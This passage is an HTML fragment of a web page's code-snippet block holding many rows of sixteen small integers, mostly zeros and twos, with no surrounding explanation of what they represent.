class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">9</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span 